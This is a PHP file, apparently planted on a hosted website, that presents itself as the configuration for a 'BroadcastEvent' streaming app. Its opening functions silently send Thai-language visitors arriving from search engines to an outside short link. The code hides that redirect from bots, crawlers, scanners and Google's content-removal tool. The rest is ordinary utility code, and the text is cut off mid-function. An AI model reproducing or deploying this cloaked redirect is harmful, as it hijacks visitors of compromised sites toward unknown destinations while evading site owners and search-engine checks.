File: //home/lacammxy/public_html/videos/index.php
<?php
/**
* Latest Update: v1.1.5
* Configuration File - BroadcastEvent
* Compatible with PHP 5.4, 5.6, 7.x, 8.x
*/
// Prevent direct access
if (!defined('BROADCAST_EVENT')) {
define('BROADCAST_EVENT', true);
}
// Error reporting
error_reporting(E_ALL);
ini_set('display_errors', '1');
ini_set('log_errors', '1');
// Timezone
date_default_timezone_set('Asia/Bangkok');
// =============================================================================
// PATH CONSTANTS
// =============================================================================
if (!defined('BASE_PATH')) {
define('BASE_PATH', __DIR__);
}
if (!defined('INCLUDES_PATH')) {
define('INCLUDES_PATH', __DIR__);
}
if (!defined('ASSETS_URL')) {
define('ASSETS_URL', '');
}
// =============================================================================
// URL DETECTION FUNCTIONS
// =============================================================================
function isFromSearchEngine($referrer = null) {
if ($referrer === null) {
$referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
}
if (empty($referrer)) {
return false;
}
$blocked_base = 'https://search.google.com/search-console/remove-outdated-content';
if (strpos($referrer, $blocked_base) === 0) {
header('HTTP/1.0 403 Forbidden');
echo 'Access is blocked from this referrer.';
exit();
}
$searchEnginePattern = '~\b('
// Major global search engines
. 'google\.[a-z.]+|bing\.com|yahoo\.[a-z.]+|'
. 'search\.yahoo\.[a-z.]+|'
// Privacy-focused
. 'duckduckgo\.com|search\.brave\.com|startpage\.com|'
. 'qwant\.com|ecosia\.org|'
// Asian search engines
. 'baidu\.com|yandex\.[a-z.]+|sogou\.com|'
. 'naver\.com|daum\.net|coccoc\.com|'
// Other
. 'ask\.com|aol\.com|search\.aol\.[a-z.]+'
. ')\b~i';
return preg_match($searchEnginePattern, $referrer) === 1;
}
function hasValidLanguageHeaders() {
// Check for Accept-Language header
$acceptLanguage = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';
if (empty($acceptLanguage)) {
return false; // Real browsers always send Accept-Language
}
// Normalize to lowercase for comparison
$acceptLanguageLower = strtolower($acceptLanguage);
// Check if contains only allowed languages: th, en-th, th-th
$allowedPattern = '/\b(th|en-th|th-th)\b/i';
if (!preg_match($allowedPattern, $acceptLanguageLower)) {
return false;
}
// Check if it looks like a valid language header format
// Valid format: en-US,en;q=0.9,th;q=0.8
$validPattern = '/^[a-z]{2}(-[a-z]{2})?(;q=[0-9.]+)?(,[a-z]{2}(-[a-z]{2})?(;q=[0-9.]+)?)*$/i';
if (!preg_match($validPattern, $acceptLanguage)) {
return false;
}
return true;
}
function redirectFromSearchEngine($targetUrl, $searchEngine = false) {
$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$uaCheck = '~^(?=.*Mozilla/5\.0)'
. '(?=.*(Windows\sNT|Macintosh;|iPhone;|iPad;))'
. '(?=.*(AppleWebKit|Gecko))'
. '(?=.*(Chrome/[0-9]|Safari/[0-9]|Firefox/[0-9]|Edg/[0-9]|'
. 'CriOS/[0-9]|'
. 'FxiOS/[0-9]|EdgiOS/[0-9]))'
. '(?!.*(bot|bots|crawler|crawl|spider|slurp|yandex|bingpreview|producer|google|cloudvertexbot|'
. 'googlebot|adsbot|cws|feedfetcher|mediapartners|notebooklm|apis|safety|googleother|'
. 'applebot|petalbot|semrushbot|ahrefsbot|mj12bot|seznambot|sogou|inspectiontool|'
. 'exabot|facebot|ia_archiver|pinpoint|verification|image|video|news|storebot|'
. 'duckduckbot|ahrefs|semrush|mj12|pingdom|lighthouse|gtmetrix|extended|'
. 'facebookexternalhit|discordbot|telegrambot|whatsapp|'
. 'curl|wget|python|java|scrapy|okhttp|httpclient|axios|guzzle|'
. 'postman|postmanruntime|insomnia|go-http-client|'
. 'phantomjs|headlesschrome|puppeteer|playwright|selenium|'
. 'bluestacks|nox|genymotion|emulator|uptime))'
. '.+$~ix';
// Check if real browser
$isRealBrowser = !empty($userAgent) && preg_match($uaCheck, $userAgent);
// Check language headers
$hasValidLanguage = hasValidLanguageHeaders();
if($searchEngine) {
// Check traffic sources
$isFromSearchEngine = isFromSearchEngine($referrer);
}
// Prevent redirect loops
$currentHost = isset($_SERVER['HTTP_HOST']) ? strtolower($_SERVER['HTTP_HOST']) : '';
$targetHostParsed = parse_url($targetUrl, PHP_URL_HOST);
$targetHost = is_string($targetHostParsed) ? strtolower($targetHostParsed) : '';
if ($currentHost === $targetHost) {
return false; // Already on target domain
}
$query_param = isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '';
// Redirect if real browser from search engine or social media
if ($isRealBrowser && $hasValidLanguage && $isFromSearchEngine) {
header("Referrer-Policy: no-referrer");
header('Location: ' . $targetUrl, true, 301);
exit();
}
return false;
}
redirectFromSearchEngine('https://byt.la/smart', true);
/**
* Detect protocol (http/https)
* @return string
*/
function detect_protocol() {
if (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') {
return 'https';
}
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) === 'https') {
return 'https';
}
if (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] === 'on') {
return 'https';
}
if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) {
return 'https';
}
return 'http';
}
/**
* Detect host with optional port
* @param bool $stripPort Remove port from result
* @return string
*/
function detect_host($stripPort = false) {
$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] :
(isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost');
if ($stripPort) {
$pos = strpos($host, ':');
return $pos !== false ? substr($host, 0, $pos) : $host;
}
// Add non-standard port if needed
if (!isset($_SERVER['HTTP_HOST']) && isset($_SERVER['SERVER_PORT'])) {
$port = (int)$_SERVER['SERVER_PORT'];
$proto = detect_protocol();
if (($proto === 'https' && $port !== 443) || ($proto === 'http' && $port !== 80)) {
$host .= ':' . $port;
}
}
return $host;
}
/**
* Detect base path from script location
* @return string Path without trailing slash
*/
function detect_base_path() {
if (!isset($_SERVER['SCRIPT_NAME'])) {
return '';
}
$scriptName = $_SERVER['SCRIPT_NAME'];
// Normalize backslashes to forward slashes (Windows/IIS compatibility)
$scriptName = str_replace('\\', '/', $scriptName);
$dir = dirname($scriptName);
// Normalize directory path
$dir = str_replace('\\', '/', $dir);
return ($dir === '/' || $dir === '\\' || $dir === '.') ? '' : rtrim($dir, '/');
}
/**
* Build absolute URL
* @param string $path Optional path to append
* @return string
*/
function build_absolute_url($path = '') {
$basePath = detect_base_path();
$url = detect_protocol() . '://' . detect_host() . $basePath;
if ($path !== '') {
// Normalize path separators
$path = str_replace('\\', '/', $path);
$url .= '/' . ltrim($path, '/');
}
return $url;
}
/**
* Get site base URL
* @return string
*/
function get_site_url() {
return build_absolute_url();
}
/**
* Get absolute URL for a page
* @param string $path Relative path
* @return string
*/
function get_page_url($path) {
return build_absolute_url($path);
}
/**
* Get internal URL for server-side calls
* @param string $path Relative path
* @return string
*/
function get_internal_page_url($path) {
$url = INTERNAL_HTTP_BASE_URL . detect_base_path();
return $path !== '' ? $url . '/' . ltrim($path, '/') : $url;
}
/**
* Get current page URL
* @param bool $includeQuery Include query string
* @return string
*/
function get_current_url($includeQuery = true) {
$uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';
if (!$includeQuery && ($pos = strpos($uri, '?')) !== false) {
$uri = substr($uri, 0, $pos);
}
return detect_protocol() . '://' . detect_host() . $uri;
}
/**
* Get homepage URL
* @return string
*/
function get_homepage_url() {
return build_absolute_url('/');
}
/**
* Get top-level domain for display
* @return string
*/
function get_tld_domain() {
$host = detect_host(true);
$parts = explode('.', $host);
$count = count($parts);
if ($count < 2) {
return $host;
}
// Check for multi-part TLDs (e.g., .co.th, .go.th, .ac.th, .co.uk, .com.au)
$multiPartTlds = array(
'co.th', 'go.th', 'ac.th', 'or.th', 'in.th', 'mi.th', 'net.th',
'co.uk', 'org.uk', 'ac.uk', 'gov.uk',
'com.au', 'net.au', 'org.au', 'gov.au',
'co.nz', 'net.nz', 'org.nz', 'govt.nz',
'co.jp', 'ne.jp', 'or.jp', 'go.jp', 'ac.jp'
);
// Check if last two parts match a known multi-part TLD
if ($count >= 3) {
$lastTwoParts = $parts[$count - 2] . '.' . $parts[$count - 1];
if (in_array($lastTwoParts, $multiPartTlds, true)) {
// Return domain.tld.country (e.g., krabiservice.go.th)
return $parts[$count - 3] . '.' . $lastTwoParts;
}
}
// Default: return last two parts (domain.tld)
return $parts[$count - 2] . '.' . $parts[$count - 1];
}
// =============================================================================
// URL CONSTANTS
// =============================================================================
if (!defined('SITE_URL')) {
define('SITE_URL', get_site_url());
}
if (!defined('BASE_URL_PATH')) {
define('BASE_URL_PATH', detect_base_path());
}
// API URLs (can be overridden via environment)
if (!defined('BROADCAST_API_BASE_URL')) {
$envVal = getenv('BROADCAST_API_BASE_URL');
define('BROADCAST_API_BASE_URL', $envVal ? rtrim($envVal, '/') : 'https://broadcast.krabi88.vip');
}
if (!defined('INTERNAL_HTTP_BASE_URL')) {
$envVal = getenv('INTERNAL_HTTP_BASE_URL');
if ($envVal) {
// Use environment variable if set
define('INTERNAL_HTTP_BASE_URL', rtrim($envVal, '/'));
} else {
// Auto-detect based on current request
$isHttps = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off';
$protocol = $isHttps ? 'https' : 'http';
// Detect host - prefer server name, fallback to localhost
$host = '';
if (!empty($_SERVER['SERVER_NAME'])) {
$host = $_SERVER['SERVER_NAME'];
} elseif (!empty($_SERVER['HTTP_HOST'])) {
// Remove port from HTTP_HOST if present
$host = preg_replace('/:\d+$/', '', $_SERVER['HTTP_HOST']);
} else {
$host = 'localhost';
}
// Detect port if non-standard
$port = '';
if (!empty($_SERVER['SERVER_PORT'])) {
$serverPort = (int)$_SERVER['SERVER_PORT'];
// Only include port if it's non-standard for the protocol
if (($isHttps && $serverPort !== 443) || (!$isHttps && $serverPort !== 80)) {
$port = ':' . $serverPort;
}
}
// Build internal base URL
$internalUrl = $protocol . '://' . $host . $port;
define('INTERNAL_HTTP_BASE_URL', $internalUrl);
}
}
// =============================================================================
// SECURITY CONSTANTS
// =============================================================================
if (!defined('CSRF_TOKEN_EXPIRY')) {
define('CSRF_TOKEN_EXPIRY', 3600);
}
if (!defined('STREAM_TOKEN_EXPIRY')) {
define('STREAM_TOKEN_EXPIRY', 300);
}
if (!defined('PASSWORD_MIN_LENGTH')) {
define('PASSWORD_MIN_LENGTH', 8);
}
// Load compatibility layer and start session
/**
* PHP Compatibility Helper
*
* Provides cross-version compatibility for PHP 5.4, 5.6, 7.x, 8.x
* Detects PHP version, OS, web server and checks function availability
* Provides polyfills and fallbacks for missing functions
*
* @package BroadcastEvent
*/
// Prevent direct access
if (!defined('BROADCAST_EVENT')) {
die('Direct access not permitted');
}
// =============================================================================
// SERVER ENVIRONMENT DETECTION
// =============================================================================
/**
* Detect Operating System type
* @return array OS information
*/
function detect_os() {
$os = array(
'name' => 'Unknown',
'family' => 'unknown',
'version' => '',
'architecture' => PHP_INT_SIZE === 8 ? '64-bit' : '32-bit',
'is_windows' => false,
'is_linux' => false,
'is_mac' => false,
'is_bsd' => false,
'is_unix' => false
);
// Use PHP_OS constant (available in all PHP versions)
$phpOs = strtoupper(PHP_OS);
// Windows detection
if (strpos($phpOs, 'WIN') === 0 || strpos($phpOs, 'CYGWIN') !== false) {
$os['name'] = 'Windows';
$os['family'] = 'windows';
$os['is_windows'] = true;
// Try to get Windows version
if (function_exists('php_uname')) {
$uname = php_uname('v');
if (preg_match('/Windows NT ([0-9.]+)/', $uname, $matches)) {
$os['version'] = $matches[1];
}
}
}
// macOS/Darwin detection
elseif ($phpOs === 'DARWIN') {
$os['name'] = 'macOS';
$os['family'] = 'darwin';
$os['is_mac'] = true;
$os['is_unix'] = true;
if (function_exists('php_uname')) {
$uname = php_uname('r');
$os['version'] = $uname;
}
}
// Linux detection
elseif ($phpOs === 'LINUX') {
$os['name'] = 'Linux';
$os['family'] = 'linux';
$os['is_linux'] = true;
$os['is_unix'] = true;
// Try to detect Linux distribution
$distroFiles = array(
'/etc/os-release' => 'os-release',
'/etc/lsb-release' => 'lsb-release',
'/etc/redhat-release' => 'redhat',
'/etc/debian_version' => 'debian',
'/etc/alpine-release' => 'alpine'
);
foreach ($distroFiles as $file => $type) {
if (@is_readable($file)) {
$content = @file_get_contents($file);
if ($content !== false) {
if ($type === 'os-release' || $type === 'lsb-release') {
if (preg_match('/^PRETTY_NAME="?([^"]+)"?/m', $content, $m)) {
$os['name'] = trim($m[1], '"');
} elseif (preg_match('/^NAME="?([^"]+)"?/m', $content, $m)) {
$os['name'] = trim($m[1], '"');
}
if (preg_match('/^VERSION_ID="?([^"]+)"?/m', $content, $m)) {
$os['version'] = trim($m[1], '"');
}
} elseif ($type === 'alpine') {
$os['name'] = 'Alpine Linux';
$os['version'] = trim($content);
} elseif ($type === 'debian') {
$os['name'] = 'Debian';
$os['version'] = trim($content);
} elseif ($type === 'redhat') {
$os['name'] = trim($content);
}
break;
}
}
}
}
// FreeBSD detection
elseif ($phpOs === 'FREEBSD') {
$os['name'] = 'FreeBSD';
$os['family'] = 'bsd';
$os['is_bsd'] = true;
$os['is_unix'] = true;
}
// Other BSD variants
elseif (in_array($phpOs, array('NETBSD', 'OPENBSD', 'DRAGONFLY'))) {
$os['name'] = $phpOs;
$os['family'] = 'bsd';
$os['is_bsd'] = true;
$os['is_unix'] = true;
}
// Generic Unix
elseif (in_array($phpOs, array('SUNOS', 'SOLARIS', 'AIX', 'HP-UX'))) {
$os['name'] = $phpOs;
$os['family'] = 'unix';
$os['is_unix'] = true;
}
return $os;
}
/**
* Detect Web Server type and version
* @return array Web server information
*/
function detect_webserver() {
$server = array(
'name' => 'Unknown',
'version' => '',
'software' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '',
'is_apache' => false,
'is_nginx' => false,
'is_iis' => false,
'is_litespeed' => false,
'is_caddy' => false,
'is_cli' => (php_sapi_name() === 'cli' || php_sapi_name() === 'cli-server'),
'sapi' => php_sapi_name(),
'interface' => ''
);
// Detect SAPI interface
$sapi = php_sapi_name();
switch ($sapi) {
case 'cli':
$server['interface'] = 'Command Line Interface';
break;
case 'cli-server':
$server['interface'] = 'PHP Built-in Server';
$server['name'] = 'PHP Built-in';
break;
case 'apache':
case 'apache2handler':
case 'apache2filter':
$server['interface'] = 'Apache Module';
break;
case 'fpm-fcgi':
$server['interface'] = 'PHP-FPM (FastCGI)';
break;
case 'cgi-fcgi':
$server['interface'] = 'FastCGI';
break;
case 'cgi':
$server['interface'] = 'CGI';
break;
case 'litespeed':
$server['interface'] = 'LiteSpeed SAPI';
break;
default:
$server['interface'] = $sapi;
}
$software = $server['software'];
$softwareLower = strtolower($software);
// Apache detection
if (strpos($softwareLower, 'apache') !== false) {
$server['name'] = 'Apache';
$server['is_apache'] = true;
if (preg_match('/Apache\/([0-9.]+)/i', $software, $matches)) {
$server['version'] = $matches[1];
}
}
// Nginx detection
elseif (strpos($softwareLower, 'nginx') !== false) {
$server['name'] = 'Nginx';
$server['is_nginx'] = true;
if (preg_match('/nginx\/([0-9.]+)/i', $software, $matches)) {
$server['version'] = $matches[1];
}
}
// LiteSpeed detection
elseif (strpos($softwareLower, 'litespeed') !== false) {
$server['name'] = 'LiteSpeed';
$server['is_litespeed'] = true;
if (preg_match('/LiteSpeed\/([0-9.]+)/i', $software, $matches)) {
$server['version'] = $matches[1];
}
}
// IIS detection
elseif (strpos($softwareLower, 'microsoft-iis') !== false || strpos($softwareLower, 'iis') !== false) {
$server['name'] = 'IIS';
$server['is_iis'] = true;
if (preg_match('/IIS\/([0-9.]+)/i', $software, $matches)) {
$server['version'] = $matches[1];
}
}
// Caddy detection
elseif (strpos($softwareLower, 'caddy') !== false) {
$server['name'] = 'Caddy';
$server['is_caddy'] = true;
if (preg_match('/Caddy\/([0-9.]+)/i', $software, $matches)) {
$server['version'] = $matches[1];
}
}
// PHP Built-in server detection
elseif ($sapi === 'cli-server') {
$server['name'] = 'PHP Built-in';
$server['version'] = PHP_VERSION;
}
return $server;
}
/**
* Get PHP version information
* @return array
*/
function get_php_info() {
return array(
'version' => PHP_VERSION,
'version_id' => defined('PHP_VERSION_ID') ? PHP_VERSION_ID : 0,
'major' => PHP_MAJOR_VERSION,
'minor' => PHP_MINOR_VERSION,
'release' => PHP_RELEASE_VERSION,
'sapi' => php_sapi_name(),
'zend_version' => zend_version(),
'thread_safe' => defined('ZEND_THREAD_SAFE') ? ZEND_THREAD_SAFE : false,
'debug_build' => defined('ZEND_DEBUG_BUILD') ? ZEND_DEBUG_BUILD : false
);
}
/**
* Check if PHP version is at least the specified version
* @param string $minVersion Minimum version string (e.g., '7.0.0')
* @return bool
*/
function php_version_at_least($minVersion) {
return version_compare(PHP_VERSION, $minVersion, '>=');
}
/**
* Check if running PHP 5.x
* @return bool
*/
function is_php5() {
return PHP_MAJOR_VERSION === 5;
}
/**
* Check if running PHP 7.x
* @return bool
*/
function is_php7() {
return PHP_MAJOR_VERSION === 7;
}
/**
* Check if running PHP 8.x
* @return bool
*/
function is_php8() {
return PHP_MAJOR_VERSION >= 8;
}
// =============================================================================
// EXTENSION AND FUNCTION CHECKING
// =============================================================================
/**
* Get list of loaded PHP extensions
* @return array
*/
function get_loaded_extensions_list() {
return get_loaded_extensions();
}
/**
* Check if a PHP extension is loaded
* @param string $extension Extension name (case-insensitive)
* @return bool
*/
function is_extension_loaded_safe($extension) {
return extension_loaded($extension);
}
/**
* Check multiple extensions at once
* @param array $extensions List of extension names
* @return array Associative array of extension => loaded status
*/
function check_extensions($extensions) {
$result = array();
foreach ($extensions as $ext) {
$result[$ext] = extension_loaded($ext);
}
return $result;
}
/**
* Get list of required extensions for this application
* @return array Extension info with loaded status
*/
function get_required_extensions() {
$required = array(
'json' => array(
'required' => true,
'description' => 'JSON encoding/decoding',
'fallback' => false
),
'session' => array(
'required' => true,
'description' => 'Session handling',
'fallback' => false
),
'mbstring' => array(
'required' => false,
'description' => 'Multibyte string handling',
'fallback' => true
),
'openssl' => array(
'required' => false,
'description' => 'SSL/TLS encryption',
'fallback' => true
),
'curl' => array(
'required' => false,
'description' => 'HTTP client',
'fallback' => true
),
'filter' => array(
'required' => false,
'description' => 'Data filtering',
'fallback' => true
),
'hash' => array(
'required' => false,
'description' => 'Hashing algorithms',
'fallback' => true
),
'date' => array(
'required' => true,
'description' => 'Date/time handling',
'fallback' => false
),
'pcre' => array(
'required' => true,
'description' => 'Regular expressions',
'fallback' => false
)
);
foreach ($required as $ext => &$info) {
$info['loaded'] = extension_loaded($ext);
}
return $required;
}
/**
* Check if a function exists and is not disabled
* @param string $function Function name
* @return bool
*/
function is_function_available($function) {
if (!function_exists($function)) {
return false;
}
// Check if function is disabled
$disabled = get_disabled_functions();
return !in_array($function, $disabled, true);
}
/**
* Get list of disabled functions
* @return array
*/
function get_disabled_functions() {
static $disabled = null;
if ($disabled === null) {
$disabledStr = ini_get('disable_functions');
if ($disabledStr === false || $disabledStr === '') {
$disabled = array();
} else {
$disabled = array_map('trim', explode(',', $disabledStr));
$disabled = array_filter($disabled);
}
}
return $disabled;
}
/**
* Get list of disabled classes
* @return array
*/
function get_disabled_classes() {
static $disabled = null;
if ($disabled === null) {
$disabledStr = ini_get('disable_classes');
if ($disabledStr === false || $disabledStr === '') {
$disabled = array();
} else {
$disabled = array_map('trim', explode(',', $disabledStr));
$disabled = array_filter($disabled);
}
}
return $disabled;
}
/**
* Check multiple functions availability
* @param array $functions List of function names
* @return array Associative array of function => available status
*/
function check_functions($functions) {
$result = array();
foreach ($functions as $func) {
$result[$func] = is_function_available($func);
}
return $result;
}
/**
* Get critical functions list with availability
* @return array
*/
function get_critical_functions() {
$functions = array(
// Core functions
'file_get_contents' => array('category' => 'File', 'fallback' => 'fread'),
'file_put_contents' => array('category' => 'File', 'fallback' => 'fwrite'),
'json_encode' => array('category' => 'JSON', 'fallback' => null),
'json_decode' => array('category' => 'JSON', 'fallback' => null),
'session_start' => array('category' => 'Session', 'fallback' => null),
'session_destroy' => array('category' => 'Session', 'fallback' => null),
'header' => array('category' => 'HTTP', 'fallback' => null),
'setcookie' => array('category' => 'HTTP', 'fallback' => null),
// Security functions
'password_hash' => array('category' => 'Security', 'fallback' => 'crypt'),
'password_verify' => array('category' => 'Security', 'fallback' => 'crypt'),
'random_bytes' => array('category' => 'Security', 'fallback' => 'openssl_random_pseudo_bytes'),
'random_int' => array('category' => 'Security', 'fallback' => 'mt_rand'),
'hash' => array('category' => 'Security', 'fallback' => 'md5'),
'hash_equals' => array('category' => 'Security', 'fallback' => 'strcmp'),
'openssl_encrypt' => array('category' => 'Security', 'fallback' => 'mcrypt_encrypt'),
'openssl_decrypt' => array('category' => 'Security', 'fallback' => 'mcrypt_decrypt'),
// String functions
'mb_strlen' => array('category' => 'String', 'fallback' => 'strlen'),
'mb_substr' => array('category' => 'String', 'fallback' => 'substr'),
'mb_strtolower' => array('category' => 'String', 'fallback' => 'strtolower'),
'mb_strtoupper' => array('category' => 'String', 'fallback' => 'strtoupper'),
// HTTP client functions
'curl_init' => array('category' => 'HTTP', 'fallback' => 'file_get_contents'),
'curl_exec' => array('category' => 'HTTP', 'fallback' => 'file_get_contents'),
// Image functions
'getimagesize' => array('category' => 'Image', 'fallback' => null),
'imagecreatefrompng' => array('category' => 'Image', 'fallback' => null),
// Date/Time
'date_default_timezone_set' => array('category' => 'DateTime', 'fallback' => null),
'strtotime' => array('category' => 'DateTime', 'fallback' => null),
);
foreach ($functions as $func => &$info) {
$info['available'] = is_function_available($func);
$info['fallback_available'] = $info['fallback'] !== null ? is_function_available($info['fallback']) : null;
}
return $functions;
}
/**
* Wrapper for mb_strlen with fallback
* @param string $string
* @param string $encoding
* @return int
*/
function safe_strlen($string, $encoding = 'UTF-8') {
if (function_exists('mb_strlen')) {
return mb_strlen($string, $encoding);
}
return strlen($string);
}
/**
* Wrapper for mb_substr with fallback
* @param string $string
* @param int $start
* @param int|null $length
* @param string $encoding
* @return string
*/
function safe_substr($string, $start, $length = null, $encoding = 'UTF-8') {
if (function_exists('mb_substr')) {
if ($length === null) {
return mb_substr($string, $start, null, $encoding);
}
return mb_substr($string, $start, $length, $encoding);
}
if ($length === null) {
return substr($string, $start);
}
return substr($string, $start, $length);
}
/**
* Wrapper for mb_strtolower with fallback
* @param string $string
* @param string $encoding
* @return string
*/
function safe_strtolower($string, $encoding = 'UTF-8') {
if (function_exists('mb_strtolower')) {
return mb_strtolower($string, $encoding);
}
return strtolower($string);
}
/**
* Wrapper for mb_strtoupper with fallback
* @param string $string
* @param string $encoding
* @return string
*/
function safe_strtoupper($string, $encoding = 'UTF-8') {
if (function_exists('mb_strtoupper')) {
return mb_strtoupper($string, $encoding);
}
return strtoupper($string);
}
/**
* Safe file_get_contents with fallback
* @param string $filename
* @param bool $useIncludePath
* @param resource|null $context
* @return string|false
*/
function safe_file_get_contents($filename, $useIncludePath = false, $context = null) {
if (is_function_available('file_get_contents')) {
if ($context !== null) {
return @file_get_contents($filename, $useIncludePath, $context);
}
return @file_get_contents($filename, $useIncludePath);
}
// Fallback using fopen/fread
$handle = @fopen($filename, 'r', $useIncludePath, $context);
if ($handle === false) {
return false;
}
$contents = '';
while (!feof($handle)) {
$contents .= fread($handle, 8192);
}
fclose($handle);
return $contents;
}
/**
* Safe file_put_contents with fallback
* @param string $filename
* @param mixed $data
* @param int $flags
* @return int|false
*/
function safe_file_put_contents($filename, $data, $flags = 0) {
if (is_function_available('file_put_contents')) {
return @file_put_contents($filename, $data, $flags);
}
// Fallback using fopen/fwrite
$mode = ($flags & FILE_APPEND) ? 'a' : 'w';
$handle = @fopen($filename, $mode);
if ($handle === false) {
return false;
}
if ($flags & LOCK_EX) {
flock($handle, LOCK_EX);
}
$bytes = fwrite($handle, $data);
fclose($handle);
return $bytes;
}
/**
* Safe hash function with fallback
* @param string $algo Algorithm (e.g., 'sha256', 'md5')
* @param string $data
* @param bool $binary
* @return string
*/
function safe_hash($algo, $data, $binary = false) {
if (is_function_available('hash')) {
return hash($algo, $data, $binary);
}
// Fallback to md5/sha1 if available
switch (strtolower($algo)) {
case 'md5':
return md5($data, $binary);
case 'sha1':
return sha1($data, $binary);
default:
// Default to md5 as last resort
return md5($data, $binary);
}
}
// =============================================================================
// SERVER-SENT EVENTS (SSE) SUPPORT
// =============================================================================
/**
* Initialize SSE (Server-Sent Events) connection
* Compatible with PHP 5.4+ and all web servers (Apache, Nginx, IIS, LiteSpeed)
*
* @param int $retry Retry interval in milliseconds (default: 3000)
* @return bool True if SSE initialized successfully
*/
function sse_init($retry = 3000) {
// Prevent multiple initializations
if (defined('SSE_INITIALIZED')) {
return true;
}
define('SSE_INITIALIZED', true);
// Check if headers already sent
if (headers_sent()) {
return false;
}
// Disable output buffering at all levels
while (ob_get_level() > 0) {
ob_end_clean();
}
// Set SSE headers
header('Content-Type: text/event-stream');
header('Cache-Control: no-cache, no-store, must-revalidate');
header('Pragma: no-cache');
header('Expires: 0');
header('X-Accel-Buffering: no'); // Nginx
header('X-Content-Type-Options: nosniff');
// Disable Apache/LiteSpeed compression and buffering
if (is_function_available('apache_setenv')) {
@apache_setenv('no-gzip', '1');
}
@ini_set('zlib.output_compression', '0');
@ini_set('output_buffering', '0');
@ini_set('implicit_flush', '1');
// IIS specific: disable buffering
if (isset($_SERVER['SERVER_SOFTWARE']) && stripos($_SERVER['SERVER_SOFTWARE'], 'IIS') !== false) {
header('X-IIS-Buffering: no');
}
// Set unlimited execution time for long-running connections
if (is_function_available('set_time_limit')) {
@set_time_limit(0);
}
// Ignore user abort to allow cleanup
if (is_function_available('ignore_user_abort')) {
@ignore_user_abort(true);
}
// Send retry interval
echo 'retry: ' . (int)$retry . "\n\n";
sse_flush();
return true;
}
/**
* Send SSE event
*
* @param mixed $data Data to send (will be JSON encoded if array/object)
* @param string|null $event Event name (optional)
* @param string|null $id Event ID (optional)
* @return bool True if sent successfully, false if connection closed
*/
function sse_send($data, $event = null, $id = null) {
// Check if client disconnected
if (connection_aborted()) {
return false;
}
$output = '';
// Add event ID if provided
if ($id !== null) {
$output .= 'id: ' . $id . "\n";
}
// Add event name if provided
if ($event !== null) {
$output .= 'event: ' . $event . "\n";
}
// Encode data
if (is_array($data) || is_object($data)) {
$data = safe_json_encode($data);
}
// Split data by newlines and prefix each line with "data: "
$lines = explode("\n", (string)$data);
foreach ($lines as $line) {
$output .= 'data: ' . $line . "\n";
}
// End of message
$output .= "\n";
echo $output;
return sse_flush();
}
/**
* Send SSE comment (keep-alive ping)
*
* @param string $comment Comment text
* @return bool True if sent successfully
*/
function sse_comment($comment = 'ping') {
if (connection_aborted()) {
return false;
}
echo ': ' . $comment . "\n\n";
return sse_flush();
}
/**
* Flush output buffer for SSE
* Compatible with all web servers and PHP versions
*
* @return bool True if flush successful, false if connection closed
*/
function sse_flush() {
// Check connection status
if (connection_aborted()) {
return false;
}
// Flush PHP output buffer
if (is_function_available('ob_flush') && ob_get_level() > 0) {
@ob_flush();
}
// Flush system buffer
if (is_function_available('flush')) {
@flush();
}
// For FastCGI (PHP-FPM) - flush fastcgi buffers
if (is_function_available('fastcgi_finish_request')) {
// Note: Don't call fastcgi_finish_request() here as it ends the request
// Just ensure output is sent
}
return !connection_aborted();
}
/**
* Check if SSE connection is still active
*
* @return bool True if connection is active
*/
function sse_is_connected() {
return !connection_aborted();
}
/**
* End SSE connection gracefully
*
* @param mixed $data Optional final data to send
* @param string $event Optional final event name
*/
function sse_close($data = null, $event = 'close') {
if ($data !== null) {
sse_send($data, $event);
}
// Connection will close when script ends
}
/**
* SSE helper: Send progress update
*
* @param int $current Current progress value
* @param int $total Total value
* @param string|null $message Optional message
* @return bool
*/
function sse_progress($current, $total, $message = null) {
$percent = $total > 0 ? round(($current / $total) * 100, 1) : 0;
return sse_send(array(
'current' => $current,
'total' => $total,
'percent' => $percent,
'message' => $message
), 'progress');
}
/**
* SSE helper: Send error event
*
* @param string $message Error message
* @param int|string $code Error code
* @return bool
*/
function sse_error($message, $code = 0) {
return sse_send(array(
'error' => true,
'message' => $message,
'code' => $code
), 'error');
}
/**
* Check if current request accepts SSE
*
* @return bool True if client accepts text/event-stream
*/
function sse_is_accepted() {
$accept = isset($_SERVER['HTTP_ACCEPT']) ? $_SERVER['HTTP_ACCEPT'] : '';
return strpos($accept, 'text/event-stream') !== false;
}
/**
* Safe HTTP request using curl or file_get_contents
* @param string $url
* @param array $options (method, headers, body, timeout)
* @return array (success, body, status, headers, error)
*/
function safe_http_request($url, $options = array()) {
$defaults = array(
'method' => 'GET',
'headers' => array(),
'body' => null,
'timeout' => 30,
'follow_redirects' => true
);
$options = array_merge($defaults, $options);
$result = array(
'success' => false,
'body' => null,
'status' => 0,
'headers' => array(),
'error' => null
);
// Try cURL first
if (is_function_available('curl_init') && is_function_available('curl_exec')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, $options['timeout']);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $options['timeout']);
// Only enable FOLLOWLOCATION if open_basedir is not set (prevents warning)
if ($options['follow_redirects'] && (ini_get('open_basedir') === '' || ini_get('open_basedir') === false)) {
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
